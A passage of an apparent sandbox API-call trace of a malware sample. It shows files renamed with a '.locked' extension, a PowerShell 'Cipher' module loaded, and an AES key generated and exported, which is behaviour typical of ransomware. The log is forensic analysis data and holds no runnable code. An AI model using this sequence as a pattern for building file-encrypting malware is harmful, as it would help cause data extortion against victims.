lpFileInformation=0x69fa88c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc71fe7, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0xdc71fe7, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0xdc9831e, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xaa84)) returned 1 [0125.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae054) returned 1 [0125.123] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav.locked", nBufferLength=0x105, lpBuffer=0x99adb34, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav.locked", lpFilePart=0x0) returned 0x56 [0125.123] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\iu92qrgsq4.wav.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0125.123] GetFileInformationByHandle (in: hFile=0x874, lpFileInformation=0x99ae0a0 | out: lpFileInformation=0x99ae0a0) returned 1 [0125.123] CloseHandle (hObject=0x874) returned 1 [0125.126] GetConsoleOutputCP () returned 0x1b5 [0125.126] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0125.126] GetConsoleOutputCP () returned 0x1b5 [0125.126] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0125.126] GetConsoleOutputCP () returned 0x1b5 [0125.127] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0125.127] GetConsoleOutputCP () returned 0x1b5 [0125.127] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0125.127] GetConsoleOutputCP () returned 0x1b5 [0125.127] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0125.127] GetConsoleOutputCP () returned 0x1b5 [0125.128] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0125.128] GetConsoleOutputCP () returned 0x1b5 [0125.128] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0125.128] GetConsoleOutputCP () returned 0x1b5 [0125.128] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0125.128] GetConsoleOutputCP () returned 0x1b5 [0125.129] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0125.129] GetConsoleOutputCP () returned 0x1b5 [0125.129] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0125.129] GetConsoleOutputCP () returned 0x1b5 [0125.129] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0125.129] GetConsoleOutputCP () returned 0x1b5 [0125.129] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0125.130] GetConsoleOutputCP () returned 0x1b5 [0125.130] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0125.130] GetConsoleOutputCP () returned 0x1b5 [0125.130] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0125.130] GetConsoleOutputCP () returned 0x1b5 [0125.130] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0125.130] GetConsoleOutputCP () returned 0x1b5 [0125.131] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0125.131] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae69c | out: lpConsoleScreenBufferInfo=0x99ae69c) returned 1 [0125.131] GetConsoleOutputCP () returned 0x1b5 [0125.131] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae638, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae638) returned 0 [0125.132] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae6a4 | out: lpMode=0x99ae6a4) returned 1 [0125.132] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a218d8*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae69c, lpReserved=0x0 | out: lpBuffer=0x6a218d8*, lpNumberOfCharsWritten=0x99ae69c*=0x77) returned 1 [0125.132] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae6a4 | out: lpMode=0x99ae6a4) returned 1 [0125.133] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae69c, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae69c*=0x2) returned 1 [0125.134] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee08*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee08*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x57, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.134] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.134] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeadc, nSize=0xe4 | out: lpBuffer="\xebd8\x99a\x3e98\x7405\xffff\xffff\x443e\x73b8\x446c\x73b8\xde1c\x664\x1082\x73b6\xbab0\x42f\x108e\x73b6\x2ddc\x73ad\xec0c\x99a\xde1c\x664\x04") returned 0x0 [0125.134] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0125.134] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aee7c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee7c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x58, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.134] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeddc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeddc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.134] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x58, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x58, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.135] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae730, nSize=0xe4 | out: lpBuffer="") returned 0x0 [0125.135] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae3d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0125.135] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aead0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aead0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x59, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.135] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea30*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x58, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.135] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x59, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x59, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.136] CryptAcquireContextW (in: phProv=0x99ae370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae370*=0x4396a38) returned 1 [0125.136] CryptGenKey (in: hProv=0x4396a38, Algid=0x6610, dwFlags=0x1, phKey=0x99ae79c | out: phKey=0x99ae79c*=0x8e84bb8) returned 1 [0125.136] CryptContextAddRef (hProv=0x4396a38, pdwReserved=0x0, dwFlags=0x0) returned 1 [0125.136] CryptExportKey (in: hKey=0x8e84bb8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae788 | out: pbData=0x0*, pdwDataLen=0x99ae788*=0x2c) returned 1 [0125.136] CryptExportKey (in: hKey=0x8e84bb8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6a2b438, pdwDataLen=0x99ae788 | out: pbData=0x6a2b438*, pdwDataLen=0x99ae788*=0x2c) returned 1 [0125.136] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae324, nSize=0xe4 | out: lpBuffer="\xfa6a\x62bc\x9be8\x73ad\xe6e4\x99a\x14") returned 0x0 [0125.136] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae6c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.136] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae624*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae624*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x59, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.136] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.137] SysStringLen (param_1="") returned 0x8 [0125.137] SysStringLen (param_1="l") returned 0x8 [0125.137] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.137] SysStringLen (param_1="\x8ee6\x802a\x7c77\xd614\xfd10\x7ed\xd6f6\x2a24") returned 0x8 [0125.137] SysStringLen (param_1="\x8ee6\x802a\x7c77\xd614\xfd10\x7ed\xd6f6\x2a24") returned 0x8 [0125.137] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.137] SysStringLen (param_1="lK") returned 0x8 [0125.137] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.137] SysStringLen (param_1="\x3a79\xa557\xc355\xa194\xf6a1\x24f1\x83b5\x8af9") returned 0x8 [0125.137] SysStringLen (param_1="\x3a79\xa557\xc355\xa194\xf6a1\x24f1\x83b5\x8af9") returned 0x8 [0125.137] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.137] SysStringLen (param_1="lK9") returned 0x8 [0125.137] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.137] SysStringLen (param_1="\x81d8\xcab0\xf3de\xb678\xd899\x6e63\x1799\xeb18") returned 0x8 [0125.137] SysStringLen (param_1="\x81d8\xcab0\xf3de\xb678\xd899\x6e63\x1799\xeb18") returned 0x8 [0125.137] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.138] SysStringLen (param_1="lK9V") returned 0x8 [0125.138] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.138] SysStringLen (param_1="煵獈즓곩遐ծⅿ騶") returned 0x8 [0125.138] SysStringLen (param_1="煵獈즓곩遐ծⅿ騶") returned 0x8 [0125.138] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.138] SysStringLen (param_1="lK9Vp") returned 0x8 [0125.138] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.138] SysStringLen (param_1="\xdab9\xef15\xbe5c\x2cea\xa16\x5af\x6e1d\xc998") returned 0x8 [0125.138] SysStringLen (param_1="\xdab9\xef15\xbe5c\x2cea\xa16\x5af\x6e1d\xc998") returned 0x8 [0125.138] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.138] SysStringLen (param_1="lK9Vpd") returned 0x8 [0125.138] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.138] SysStringLen (param_1="\xce19\x405c\x4c88\x5a63\xc1bc\xe032\x4fed\x154b") returned 0x8 [0125.138] SysStringLen (param_1="\xce19\x405c\x4c88\x5a63\xc1bc\xe032\x4fed\x154b") returned 0x8 [0125.138] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.138] SysStringLen (param_1="lK9VpdK") returned 0x8 [0125.138] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.138] SysStringLen (param_1="\x97\x71f\xcbfe\x4f30\x831e\x79e\x8ad\xc6d2") returned 0x8 [0125.138] SysStringLen (param_1="\x97\x71f\xcbfe\x4f30\x831e\x79e\x8ad\xc6d2") returned 0x8 [0125.138] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.139] SysStringLen (param_1="lK9VpdK+") returned 0x8 [0125.139] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.139] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6") returned 0x8 [0125.139] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6") returned 0x8 [0125.139] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6") returned 0x8 [0125.139] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6") returned 0x10 [0125.139] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.139] SysStringLen (param_1="lK9VpdK+5㰳か媺㺪ڒ凿") returned 0x10 [0125.139] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.139] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xcbe3\x6ca9\xc18e\x2811\xc17b\x7ed1\xe257\xd1a2") returned 0x10 [0125.139] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xcbe3\x6ca9\xc18e\x2811\xc17b\x7ed1\xe257\xd1a2") returned 0x10 [0125.139] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.139] SysStringLen (param_1="lK9VpdK+5xか媺㺪ڒ凿") returned 0x10 [0125.139] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.139] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xd4a4\x4243\xffbf\xfc1a\x3f66\xe110\x94f5\x4885") returned 0x10 [0125.139] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xd4a4\x4243\xffbf\xfc1a\x3f66\xe110\x94f5\x4885") returned 0x10 [0125.139] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.139] SysStringLen (param_1="lK9VpdK+5xi媺㺪ڒ凿") returned 0x10 [0125.139] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.139] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\x91c8\x577a\xd971\x68a\x75c3\xdf8d\xda49\x941") returned 0x10 [0125.139] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\x91c8\x577a\xd971\x68a\x75c3\xdf8d\xda49\x941") returned 0x10 [0125.140] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.140] SysStringLen (param_1="lK9VpdK+5xiM㺪ڒ凿") returned 0x10 [0125.140] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.140] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\x9742\xdc66\x21ef\xc6ae\x9366\xeef9\x6ab6\xff26") returned 0x10 [0125.140] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\x9742\xdc66\x21ef\xc6ae\x9366\xeef9\x6ab6\xff26") returned 0x10 [0125.140] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.140] SysStringLen (param_1="lK9VpdK+5xiMgڒ凿") returned 0x10 [0125.140] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.140] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\x26b8\xf1eb\x7f8d\x7c65\x7aa6\x8cdd\xc07d\x1c5d") returned 0x10 [0125.140] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\x26b8\xf1eb\x7f8d\x7c65\x7aa6\x8cdd\xc07d\x1c5d") returned 0x10 [0125.140] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.140] SysStringLen (param_1="lK9VpdK+5xiMg9凿") returned 0x10 [0125.140] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.140] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xb11e\xa06\x39be\x203d\xf899\x5a8b\xa087\x1d18") returned 0x10 [0125.140] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xb11e\xa06\x39be\x203d\xf899\x5a8b\xa087\x1d18") returned 0x10 [0125.140] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.140] SysStringLen (param_1="lK9VpdK+5xiMg91") returned 0x10 [0125.140] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.140] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\x159d\x15b4\xe72c\xe59c\xb057\x43e0\x9312\x53c1") returned 0x10 [0125.140] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\x159d\x15b4\xe72c\xe59c\xb057\x43e0\x9312\x53c1") returned 0x10 [0125.140] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.141] SysStringLen (param_1="lK9VpdK+5xiMg91e") returned 0x10 [0125.141] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.141] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7") returned 0x10 [0125.141] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7") returned 0x10 [0125.141] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7") returned 0x10 [0125.141] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7") returned 0x18 [0125.141] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.141] SysStringLen (param_1="lK9VpdK+5xiMg91e7탠ᦪ旕䧬ሏ") returned 0x18 [0125.141] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.141] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x46a5\x9e99\xdcb2\xfacc\x3396\xf6da\xfcd1\x1116") returned 0x18 [0125.141] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x46a5\x9e99\xdcb2\xfacc\x3396\xf6da\xfcd1\x1116") returned 0x18 [0125.141] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.141] SysStringLen (param_1="lK9VpdK+5xiMg91e7m탠ᦪ旕䧬ሏ") returned 0x18 [0125.141] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.141] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x2d47\xd087\xa9a1\xee4e\x994e\x9db1\xf7cd\x9e44") returned 0x18 [0125.141] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x2d47\xd087\xa9a1\xee4e\x994e\x9db1\xf7cd\x9e44") returned 0x18 [0125.141] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.141] SysStringLen (param_1="lK9VpdK+5xiMg91e7m+ᦪ旕䧬ሏ") returned 0x18 [0125.141] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.142] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x42d2\xb60f\xacf7\x2381\xd8d6\x19f3\x3d1\x290b") returned 0x18 [0125.142] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x42d2\xb60f\xacf7\x2381\xd8d6\x19f3\x3d1\x290b") returned 0x18 [0125.142] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: 